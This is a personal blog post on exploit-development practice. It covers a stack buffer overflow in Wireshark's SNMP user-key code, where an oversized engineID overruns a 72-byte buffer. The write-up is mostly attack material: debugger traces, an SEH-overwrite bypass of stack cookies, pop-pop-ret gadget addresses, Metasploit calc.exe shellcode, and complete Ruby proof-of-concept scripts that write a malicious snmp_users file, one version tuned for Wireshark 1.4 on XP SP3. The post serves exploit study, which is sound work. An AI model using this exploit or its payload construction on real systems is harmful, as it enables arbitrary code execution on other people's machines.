Exploit-Dev Practice or Why You Shouldn't Copy-Paste
Moved from d0cs4vage.blogspot.com to here
I’ve recently taken a break from one of my current personal side projects to practice some open-source bug hunting and exploit-dev. The bug I’ve found and am going to explain in this post is rather useless (it’s not remotely exploitable), but it was a good exercise nonetheless. Since you can’t remotely pwn somebody else with it without social engineering, I’m not waiting till it gets patched either :^) So, on with the show…
The bug I found is a simple one in wireshark. You can check out the latest code from wireshark with:
svn co http://anonsvn.wireshark.org/wireshark
Also, for most of my examples, I used one of the recent dev
wireshark builds because you can get the pdbs for them. You could go to
http://www.wireshark.org/download/automated/win32/
and download a more recent version of the exe and pdbs if you want (wireshark
doesn’t archive all of the dev builds it makes). The vulnerable code is
in epan/dissectors/packet-snmp.c
in the snmp_usml_password_to_key_sha1
function. Can you spot the problem?
3057 /*
3058 SHA1 Password to Key Algorithm COPIED from RFC 3414 A.2.2
3059 */
3060
3061 static void
3062 snmp_usm_password_to_key_sha1(const guint8 *password, guint passwordlen,
3063 const guint8 *engineID, guint engineLength,
3064 guint8 *key)
3065 {
3066 sha1_context SH;
3067 guint8 *cp, password_buf[72];
3068 guint32 password_index = 0;
3069 guint32 count = 0, i;
3070
3071 sha1_starts(&SH); /* initialize SHA */
3072
3073 /**********************************************/
3074 /* Use while loop until we've done 1 Megabyte */
3075 /**********************************************/
3076 while (count < 1048576) {
3077 cp = password_buf;
3078 for (i = 0; i < 64; i++) {
3079 /*************************************************/
3080 /* Take the next octet of the password, wrapping */
3081 /* to the beginning of the password as necessary.*/
3082 /*************************************************/
3083 *cp++ = password[password_index++ % passwordlen];
3084 }
3085 sha1_update (&SH, password_buf, 64);
3086 count += 64;
3087 }
3088 sha1_finish(&SH, key);
3089
3090 /*****************************************************/
3091 /* Now localize the key with the engineID and pass */
3092 /* through SHA to produce final key */
3093 /* May want to ensure that engineLength <= 32, */
3094 /* otherwise need to use a buffer larger than 72 */
3095 /*****************************************************/
3096 memcpy(password_buf, key, 20);
3097 memcpy(password_buf+20, engineID, engineLength);
3098 memcpy(password_buf+20+engineLength, key, 20);
3099
3100 sha1_starts(&SH);
3101 sha1_update(&SH, password_buf, 40+engineLength);
3102 sha1_finish(&SH, key);
3103 return;
3104 }
Besides the actual vuln, I was surprised that this function was copied from an RFC, with few modifications. This is what it looks like in RFC 3414 A.2.2:
void password_to_key_sha(
u_char *password, /* IN */
u_int passwordlen, /* IN */
u_char *engineID, /* IN - pointer to snmpEngineID */
u_int engineLength,/* IN - length of snmpEngineID */
u_char *key) /* OUT - pointer to caller 20-octet buffer */
{
SHA_CTX SH;
u_char *cp, password_buf[72];
u_long password_index = 0;
u_long count = 0, i;
SHAInit (&SH); /* initialize SHA */
/**********************************************/
/* Use while loop until we've done 1 Megabyte */
/**********************************************/
while (count < 1048576) {
cp = password_buf;
for (i = 0; i < 64; i++) {
/*************************************************/
/* Take the next octet of the password, wrapping */
/* to the beginning of the password as necessary.*/
/*************************************************/
*cp++ = password[password_index++ % passwordlen];
}
SHAUpdate (&SH, password_buf, 64);
count += 64;
}
SHAFinal (key, &SH); /* tell SHA we're done */
/*****************************************************/
/* Now localize the key with the engineID and pass */
/* through SHA to produce final key */
/* May want to ensure that engineLength <= 32, */
/* otherwise need to use a buffer larger than 72 */
/*****************************************************/
memcpy(password_buf, key, 20);
memcpy(password_buf+20, engineID, engineLength);
memcpy(password_buf+20+engineLength, key, 20);
SHAInit(&SH);
SHAUpdate(&SH, password_buf, 40+engineLength);
SHAFinal(key, &SH);
return;
}
What really surprised me though was that the comments in the code actually warn about the vuln.
Yes, the vuln is on line 3097 where the engineID is copied into the password_buf. If an engineId is sufficiently large, the buffer will be overflowed. But what actually uses this function? (Like I mentioned earlier, it’s not remotely exploitable, so don’t get your hopes up :^) Calls to this function end up having call stacks like this:
0:000> k
ChildEBP RetAddr
0012fb88 008bee28 libwireshark!snmp_usm_password_to_key_sha1
0012fba8 008c07af libwireshark!set_ue_keys+0x58
0012fbc0 008c060a libwireshark!ue_se_dup+0x10f
0012fbdc 006e017a libwireshark!renew_ue_cache+0x5a
0012fbe8 006d19a3 libwireshark!uat_load+0x18a
0012fc04 0069faad libwireshark!uat_load_all+0x53
0012fc44 0069ff59 libwireshark!init_prefs+0x6d
0012fc58 00420673 libwireshark!read_prefs+0x19
0012fcb4 0041e5c8 wireshark!read_configuration_files+0x23
0012ff18 00420a81 wireshark!main+0x6b8
0012ff30 00521bae wireshark!WinMain+0x61
0012ffc0 7c817067 wireshark!__tmainCRTStartup+0x140
0012fff0 00000000 kernel32!BaseProcessStart+0x23
This function is responsible for creating a key based on a sha1 hash of a password that is configured by the user in the wireshark preferences and is called when wireshark is opened, regardless if it is opening a pcap or capturing network traffic. The key is then supposed to be used to help decode SNMP traffic. You can configure preferences through the wireshark UI by going to
Edit->Preferences->Protocols->SNMP->Users Table (Edit...)
and adding a new user/password, or you can directly edit the preferences file at
Platform | Location |
---|---|
WINDOWS | %APPDATA%\Wireshark\snmp_users |
*NIX | ~/.wireshark/snmp_users |
Note: this only works with sha1 hashes. So, you know the vuln, now a quick run-through on how to exploit it. First off, let’s see what the classic “A”
- a-whole-bunch looks like. I used this to generate the snmp_users file:
File.open("#{ENV['APPDATA']}\\Wireshark\\snmp_users","w") do |file|
file.write("A" * 200 + ',"username","SHA1","password","DES","password"' + "\n")
end
After setting windbg to be the postmortem debugger (use windbg -I
to set
it), this is what I see when wireshark opens and dies:
(370.90): Access violation - code c0000005 (!!! second chance !!!)
eax=00000002 ebx=00000000 ecx=00000012 edx=00000002 esi=aaaaaaaa edi=aabda5ee
eip=7855aee6 esp=0012faac ebp=0012fab4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000202
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Wireshark\MSVCR90.dll -
MSVCR90!memcpy+0xc6:
7855aee6 8a06 mov al,byte ptr [esi] ds:0023:aaaaaaaa=??
The stack trace is:
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012fab4 008bfd3a aabda5ee aaaaaaaa 00000014 MSVCR90!memcpy+0xc6
0012fb88 aaaaaaaa aaaaaaaa aaaaaaaa aaaaaaaa libwireshark!snmp_usm_password_to_key_sha1+0xea
0012fba8 008c07af 04e71000 04e71054 04e7104c 0xaaaaaaaa
0012fbc0 008c060a 042ed2b8 006df61e 03361b38 libwireshark!ue_se_dup+0x10f
0012fbdc 006e017a 042ed548 0012fc04 006d19a3 libwireshark!renew_ue_cache+0x5a
0012fbe8 006d19a3 0400c510 0012fbfc 0400c510 libwireshark!uat_load+0x18a
0012fc04 0069faad 0133439c 013343a4 013343b0 libwireshark!uat_load_all+0x53
0012fc44 0069ff59 0015233b 00000002 00564944 libwireshark!init_prefs+0x6d
0012fc58 00420673 0012fca4 0012fca8 0012fc80 libwireshark!read_prefs+0x19
0012fcb4 0041e5c8 0012fd0c 0012fd64 00000050 wireshark!read_configuration_files+0x23
0012ff18 00420a81 00000001 02c63fc8 00000008 wireshark!main+0x6b8
0012ff30 00521bae 00400000 00000000 0015233b wireshark!WinMain+0x61
0012ffc0 7c817067 0142d8b0 00000018 7ffd4000 wireshark!__tmainCRTStartup+0x140
0012fff0 00000000 00521d8d 00000000 78746341 kernel32!RegisterWaitForInputIdle+0x49
As you can see in the highlighted lines, we’ve overwritten our return address, as well as some of the current and previous function’s arguments with our engineID data. The reason we didn’t see an exception like this
(304.7a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0165ef54 ebx=00000000 ecx=008bfc50 edx=04e71000 esi=00151f0a edi=005fe5cc
eip=aaaaaaaa esp=0012fb8c ebp=0012fba8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010202
aaaaaaaa ?? ???
is that wireshark was compiled with the /GS
flag, meaning that there are
stack cookies, as you can see highlighted below:
libwireshark!snmp_usm_password_to_key_sha1:
008bfc50 55 push ebp
008bfc51 8bec mov ebp,esp
008bfc53 81ecc0000000 sub esp,0C0h
008bfc59 a118802102 mov eax,dword ptr [libwireshark!__security_cookie (02218018)]
008bfc5e 33c5 xor eax,ebp
008bfc60 8945f0 mov dword ptr [ebp-10h],eax
008bfc63 c745a400000000 mov dword ptr [ebp-5Ch],0
008bfc6a c745fc00000000 mov dword ptr [ebp-4],0
008bfc71 8d8540ffffff lea eax,[ebp-0C0h]
008bfc77 50 push eax
008bfc78 e88310e3ff call libwireshark!sha1_starts (006f0d00)
...
008bfd63 83c40c add esp,0Ch
008bfd66 8b4d18 mov ecx,dword ptr [ebp+18h]
008bfd69 51 push ecx
008bfd6a 8d9540ffffff lea edx,[ebp-0C0h]
008bfd70 52 push edx
008bfd71 e85a2ee3ff call libwireshark!sha1_finish (006f2bd0)
008bfd76 83c408 add esp,8
008bfd79 8b4df0 mov ecx,dword ptr [ebp-10h]
008bfd7c 33cd xor ecx,ebp
008bfd7e e85d817b00 call libwireshark!__security_check_cookie (01077ee0)
008bfd83 8be5 mov esp,ebp
008bfd85 5d pop ebp
008bfd86 c3 ret
The method I used to get around this is the classic
overwrite-an-SEH-handler-with-an-address-to-a-pop-pop-ret. I also needed to
trigger an exception before the call to __security_check_cookie
so that the
exception handlers would be called before the cookie was ever checked. The
first thing I needed to figure out was how long the engineID needed to be
in order to overwrite the SEH address on the stack. You can view the SEH
chain in windbg like this:
0:000> bu libwireshark!snmp_usm_password_to_key_sha1 # set the breakpoint
0:000> g # continue execution
...
0:000> !exchain # display the SEH chain
0012ffb0: wireshark!_except_handler4+0 (00522555)
0012ffe0: kernel32!_except_handler3+0 (7c839ac0)
CRT scope 0, filter: kernel32!BaseProcessStart+29 (7c843882)
func: kernel32!BaseProcessStart+3a (7c843898)
Invalid exception stack at ffffffff
!exchain
says the address of the next SEH structure is at 0x12ffb0. This
means the actual address of the next exception handler is at 0x12ffb4. Knowing
the address on the stack that needed to be overwritten (0x12ffb4), all I
needed to know before I could calculate the length of the engineID was the
start address of the overflowed buffer. This is easy enough to do if you
set a breakpoint on the vulnerable memcpy. (when I can, I prefer calculating
things rather than using metasploit patterns):
0:000> bp 008bfd10
0:000> g
...
# disassembly
008bfd10 83c40c add esp,0Ch
008bfd13 8b4514 mov eax,dword ptr [ebp+14h]
008bfd16 50 push eax
008bfd17 8b4d10 mov ecx,dword ptr [ebp+10h]
008bfd1a 51 push ecx
008bfd1b 8d55bc lea edx,[ebp-44h]
008bfd1e 52 push edx
008bfd1f e8d8817b00 call libwireshark!memcpy (01077efc)
In my testing, edx (the dst buffer) pointed to 0x12fb44. Thus, the
total length to overwrite up to the exception handler address would be
0x12ffb4-0x12fb44 = 1136
. Now, since the data in the engineID is supposed
to be a hex value and gets converted from hex into binary data, we’ll need
twice as much, so we’ll need an engineID that is 2272 bytes long to overflow
up to (not including) the pointer to the next SEH handler code. New ruby code:
def flip_dword(str)
[str.hex].pack("V").scan(/./m).map{|b| "%02x" % b[0] }.join
end
engine_id = "90" * 1136
engine_id += flip_dword("beefface")
File.open("#{ENV['APPDATA']}\\Wireshark\\snmp_users","w") do |file|
file.write(engine_id + ',"username","SHA1","password","DES","password"' + "\n")
end
Before/after memcpy (break at 008bfd10):
========================== BEFORE ============================ |=========================== AFTER ============================
0012ff88 00000000 |0012ff88 90909090
0012ff8c 00000000 |0012ff8c 90909090
0012ff90 ffffffff |0012ff90 90909090
0012ff94 ffffffff |0012ff94 90909090
0012ff98 ffffffff |0012ff98 90909090
0012ff9c 0012ffac |0012ff9c 90909090
0012ffa0 00151f0a |0012ffa0 90909090
0012ffa4 00000000 |0012ffa4 90909090
0012ffa8 0012ff48 |0012ffa8 90909090
0012ffac 70b782cc |0012ffac 90909090
0012ffb0 0012ffe0 |0012ffb0 90909090
0012ffb4 00522555 wireshark!_except_handler4 |0012ffb4 beefface <--- Overwritten exception handler
0012ffb8 5abbc6d5 |0012ffb8 5abbc6d5
0012ffbc 00000001 |0012ffbc 00000001
0012ffc0 0012fff0 |0012ffc0 0012fff0
0012ffc4 7c817067 kernel32!BaseProcessStart+0x23 |0012ffc4 7c817067 kernel32!BaseProcessStart+0x23
0012ffc8 00cdf6f2 libwireshark!dissect_hclnfsd_lock_call+0x102 |0012ffc8 00cdf6f2 libwireshark!dissect_hclnfsd_lock_call+0x102
0012ffcc 00cdf776 libwireshark!dissect_hclnfsd_lock_reply+0x76 |0012ffcc 00cdf776 libwireshark!dissect_hclnfsd_lock_reply+0x76
0012ffd0 7ffd5000 |0012ffd0 7ffd5000
0012ffd4 8054b6b8 |0012ffd4 8054b6b8
0012ffd8 0012ffc8 |0012ffd8 0012ffc8
0012ffdc 82188a80 |0012ffdc 82188a80
Just to show that we overwrote the correct SEH pointer in memory, you’ll see this error in windbg:
(2e0.434): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=beefface edx=7c9032bc esi=00000000 edi=00000000
eip=beefface esp=0012f6dc ebp=0012f6fc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
beefface ?? ???
Now that we’ve got that working, we’ve got to make sure we raise an error before the stack cookie is checked. But wait, it just worked, so what error are we raising? The actual error when overflowing mainly with nops is this:
(16c.660): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=909090a4 ebx=00000000 ecx=00000005 edx=00000000 esi=90909090 edi=90a38bd4
eip=7855af58 esp=0012faac ebp=0012fab4 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010293
MSVCR90!UnwindUpVec+0x30:
7855af58 8b448eec mov eax,dword ptr [esi+ecx*4-14h] ds:0023:90909090=????????
...
0:000> kb
ChildEBP RetAddr Args to Child
0012fab4 008bfd3a 90a38bd4 90909090 00000014 MSVCR90!UnwindUpVec+0x30
0012fb88 90909090 90909090 90909090 90909090 libwireshark!snmp_usm_password_to_key_sha1+0xea
...
# disassembly around 008bfd3a
008bfd17 8b4d10 mov ecx,dword ptr [ebp+10h]
008bfd1a 51 push ecx
008bfd1b 8d55bc lea edx,[ebp-44h]
008bfd1e 52 push edx
008bfd1f e8d8817b00 call libwireshark!memcpy (01077efc)
008bfd24 83c40c add esp,0Ch
008bfd27 6a14 push 14h
008bfd29 8b4518 mov eax,dword ptr [ebp+18h]
008bfd2c 50 push eax
008bfd2d 8b4d14 mov ecx,dword ptr [ebp+14h]
008bfd30 8d540dbc lea edx,[ebp+ecx-44h]
008bfd34 52 push edx
008bfd35 e8c2817b00 call libwireshark!memcpy (01077efc)
008bfd3a 83c40c add esp,0Ch
What’s happening is that we overwrote the “key” parameter to the
snmp_usm_password_to_key_sha1
function with nops (\x90
). Thus, when the third
memcpy is called, it tries to read data from an invalid address (0x90909090
):
3096 memcpy(password_buf, key, 20);
3097 memcpy(password_buf+20, engineID, engineLength);
3098 memcpy(password_buf+20+engineLength, key, 20);
Another possible way to generate an error would be to mess with the the engineLength variable, which also comes after the overflowable buffer on the stack. Anyway you do it, you just have to trigger some type of exception. The next thing to do is find a useful address that we can overwrite the SEH address with. Before an SEH handler is read from the stack and called, it must pass several checks (checks are made in ntdll!RtlDispatchException). I’d suggest reading this tutorial by corelanc0d3r (or you could just study ntdll!RtlDispatchException). I used msfpescan to find an address in libwireshark.dll that had the instructions pop-pop-ret. Why pop-pop-ret? If you look at the stack right after our exception handler is called, you’ll see this:
ntdll!ExecuteHandler2:
7c903282 55 push ebp
7c903283 8bec mov ebp,esp
7c903285 ff750c push dword ptr [ebp+0Ch]
7c903288 52 push edx
7c903289 64ff3500000000 push dword ptr fs:[0]
7c903290 64892500000000 mov dword ptr fs:[0],esp
7c903297 ff7514 push dword ptr [ebp+14h]
7c90329a ff7510 push dword ptr [ebp+10h]
7c90329d ff750c push dword ptr [ebp+0Ch]
7c9032a0 ff7508 push dword ptr [ebp+8]
7c9032a3 8b4d18 mov ecx,dword ptr [ebp+18h]
7c9032a6 ffd1 call ecx {beefface} <-- calling our exception handler
...
# stack after the call (esp in the memory window in windbg)
0012f6dc 7c9032a8 ntdll!ExecuteHandler2+0x26
0012f6e0 0012f7c4
0012f6e4 0012ffb0
0012f6e8 0012f7e0
0012f6ec 0012f798
0012f6f0 0012ffb0
0012f6f4 7c9032bc ntdll!ExecuteHandler2+0x3a
0012f6f8 0012ffb0
0012f6fc 0012f7ac
0012f700 7c90327a ntdll!ExecuteHandler+0x24
0012f704 0012f7c4
Notice anything familiar about that 0012ffb0 address, third down from the top? That’s the address of the SEH structure on the stack, the same one we had overwritten with our nops. Thus, if we point the exception handler to a pop-pop-ret, it will pop the first two dwords off the stack (7c9032a8 and 0012f7c4) and return to the third (0012ffb0), which lands eip in instructions that we control. As I mentioned earlier, I used msfpescan to find the pop-pop-rets for me:
-n4g-[ snmpuser ]-$ msfpescan -p libwireshark.dll
[libwireshark.dll]
0x10003998 pop esi; pop ebp; ret
0x10008240 pop esi; pop ebp; ret
0x1000a530 pop esi; pop ebp; ret
0x1000b510 pop esi; pop ebp; ret
0x1000b890 pop esi; pop ebp; ret
0x1006cb02 pop esi; pop ebp; ret
0x1006cc09 pop ebx; pop edi; ret
0x1006cc0f pop ebx; pop edi; ret
0x103e8404 pop eax; pop eax; ret
0x104022de pop esi; pop edx; retn 0x83ff
0x104024dd pop edi; pop eax; retn 0x83ff
0x10428a8d pop edi; pop ebp; retn 0x83ff
0x1055b972 pop esi; pop ebp; ret
0x1055bae2 pop esi; pop ebp; ret
0x10696426 pop ebx; pop ebp; ret
0x1070a8ee pop eax; pop ebx; retn 0x8b10
0x10748e94 pop esi; pop ebp; ret
0x10909c11 pop esi; pop ebp; ret
0x109f7e89 pop ecx; pop ecx; ret
0x109f7ed5 pop ecx; pop ebp; retn 0x000c
0x109f8055 pop esi; pop edi; retn 0x0010
0x109f8273 pop esi; pop ebx; retn 0x0010
0x109f856b pop edi; pop esi; ret
0x109f8591 pop edi; pop esi; ret
0x109f8631 pop ebx; pop ebp; ret
Any of the above addresses should work, but if you try and verify them in the disassembler in windbg, you won’t see any pop-pop-rets. Why not? The output above was assuming libwireshark.dll started at a offset 0x10000000, which it doesn’t. To view information about loaded modules in windbg, you could do something like this:
0:000> lml
start end module name
00380000 003f6000 libgcrypt_11 (export symbols) ...
00400000 00677000 wireshark (private pdb symbols) ...
00680000 0262f000 libwireshark C (private pdb symbols) ...
026e0000 026fe000 lua5_1 C (export symbols) ...
685c0000 686be000 libglib_2_0_0 (export symbols) ...
77c10000 77c68000 msvcrt (pdb symbols) ...
78520000 785c3000 MSVCR90 (private pdb symbols) ...
7c800000 7c8f6000 kernel32 (pdb symbols) ...
7c900000 7c9af000 ntdll (pdb symbols) ...
You can see that libwireshark starts at offset 0x00680000, and not the 0x10000000 that msfpescan was assuming. This is what it should look like:
-n4g-[ snmpuser ]-$ msfpescan -p libwireshark.dll -I 0x680000
[libwireshark.dll]
0x00683998 pop esi; pop ebp; ret
0x00688240 pop esi; pop ebp; ret
0x0068a530 pop esi; pop ebp; ret
0x0068b510 pop esi; pop ebp; ret
0x0068b890 pop esi; pop ebp; ret
0x006ecb02 pop esi; pop ebp; ret
0x006ecc09 pop ebx; pop edi; ret
0x006ecc0f pop ebx; pop edi; ret
0x00a68404 pop eax; pop eax; ret
0x00a822de pop esi; pop edx; retn 0x83ff
0x00a824dd pop edi; pop eax; retn 0x83ff
0x00aa8a8d pop edi; pop ebp; retn 0x83ff
0x00bdb972 pop esi; pop ebp; ret
0x00bdbae2 pop esi; pop ebp; ret
0x00d16426 pop ebx; pop ebp; ret
0x00d8a8ee pop eax; pop ebx; retn 0x8b10
0x00dc8e94 pop esi; pop ebp; ret
0x00f89c11 pop esi; pop ebp; ret
0x01077e89 pop ecx; pop ecx; ret
0x01077ed5 pop ecx; pop ebp; retn 0x000c
0x01078055 pop esi; pop edi; retn 0x0010
0x01078273 pop esi; pop ebx; retn 0x0010
0x0107856b pop edi; pop esi; ret
0x01078591 pop edi; pop esi; ret
0x01078631 pop ebx; pop ebp; ret
Any of the above addresses should work, so I used the first one (00683998). Changing our ruby code to use this address gives us
def flip_dword(str)
[str.hex].pack("V").scan(/./m).map{|b| "%02x" % b[0] }.join
end
engine_id = "90" * 1136
engine_id += flip_dword("00683998")
File.open("#{ENV['APPDATA']}\\Wireshark\\snmp_users","w") do |file|
file.write(engine_id + ',"username","SHA1","password","DES","password"' + "\n")
end
Running wireshark again shows us landing back into our data after our pop-pop-ret handler was called:
0012ffb0 90 nop
0012ffb1 90 nop
0012ffb2 90 nop
0012ffb3 90 nop
0012ffb4 98 cwde
0012ffb5 396800 cmp dword ptr [eax],ebp
0012ffb8 ffad5a910100 jmp fword ptr [ebp+1915Ah]
0012ffbe 0000 add byte ptr [eax],al
0012ffc0 f0ff12 lock call dword ptr [edx
Notice that we have four bytes of instructions we can use before we have to execute the address of our SEH handler (0012ffb4 and 0012ffb5). Since we don’t really want to have to execute those instructions, we can put a short jmp at 0012ffb2 (two bytes) to jump over to 0012ffb8 into instructions we can control again. I tried putting the shellcode after 0012ffb8, but it gets truncated/messed with somewhere along the way, so I ended up putting it back before 0012ffb0 and using the first short jmp to jmp over the SEH handler address, and then a second near jmp (required 5 bytes) to jmp back to the start of my shellcode. I used msfpayload to generate the shellcode for calc.exe:
-n4g-[ snmpuser ]-$ msfpayload windows/exec CMD=calc.exe y
# windows/exec - 200 bytes
# http://www.metasploit.com
# EXITFUNC=process, CMD=calc.exe
buf =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" +
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" +
"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" +
"\x65\x78\x65\x00"
The ruby poc code now looks like this:
def flip_dword(str)
[str.hex].pack("V").scan(/./m).map{|b| "%02x" % b[0] }.join
end
def to_hex(str)
str.scan(/./m).map{|b| "%02x" % b[0]}.join
end
# jmp short
def jmp_eb(len)
"\xeb" + len.chr
end
# jmp near
def jmp_e9(len)
"\xe9" + [len].pack("V")
end
# windows/exec - 200 bytes
# http://www.metasploit.com
# EXITFUNC=process, CMD=calc.exe
shellcode =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" +
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" +
"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" +
"\x65\x78\x65\x00"
shellcode += "\x90\x90" + jmp_eb(4) # jmp past the SEH address
nop_length = 1136 - shellcode.length
engine_id = "90" * nop_length
engine_id += to_hex(shellcode)
engine_id += flip_dword("00683998") # pop-pop-ret in libwireshark.dll
engine_id += to_hex(jmp_e9(-(engine_id.length / 2 - nop_length + 5))) # the jmp_e9 is 5 bytes long
File.open("#{ENV['APPDATA']}\\Wireshark\\snmp_users","w") do |file|
file.write(engine_id + ',"username","SHA1","password","DES","password"' + "\n")
end
This poc now pops calc, but only on the dev build of wireshark that I used though. To get this to work on wireshark 1.4, I had to change the pop-pop-ret address, as well as the amount to overflow the buffer with in order to overwrite the SEH handler. The code below works fine for me in XP SP3 with the default install of Wireshark 1.4:
def flip_dword(str)
[str.hex].pack("V").scan(/./m).map{|b| "%02x" % b[0] }.join
end
def to_hex(str)
str.scan(/./m).map{|b| "%02x" % b[0]}.join
end
# jmp short
def jmp_eb(len)
"\xeb" + len.chr
end
# jmp near
def jmp_e9(len)
"\xe9" + [len].pack("V")
end
# windows/exec - 200 bytes
# http://www.metasploit.com
# EXITFUNC=process, CMD=calc.exe
shellcode =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52" +
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26" +
"\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d" +
"\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0" +
"\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b" +
"\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff" +
"\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d" +
"\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b" +
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44" +
"\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b" +
"\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68" +
"\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95" +
"\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" +
"\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e" +
"\x65\x78\x65\x00"
shellcode += "\x90\x90" + jmp_eb(4) # jmp past the SEH address
# nop_length = 1136 - shellcode.length # wireshark 1.5
nop_length = 1128 - shellcode.length # wireshark 1.4
engine_id = "90" * nop_length
engine_id += to_hex(shellcode)
engine_id += flip_dword("00653998") # pop-pop-ret in libwireshark.dll (1.4)
# engine_id += flip_dword("00683998") # pop-pop-ret in libwireshark.dll (1.5)
engine_id += to_hex(jmp_e9(-(engine_id.length / 2 - nop_length + 5))) # the jmp_e9 is 5 bytes long
File.open("#{ENV['APPDATA']}\\Wireshark\\snmp_users","w") do |file|
file.write(engine_id + ',"username","SHA1","password","DES","password"' + "\n")
end
This was fun, but too bad you can only pwn yourself though.
Lessons learned:
- Don’t copy and paste code
- If you must copy and paste code, at least read the comments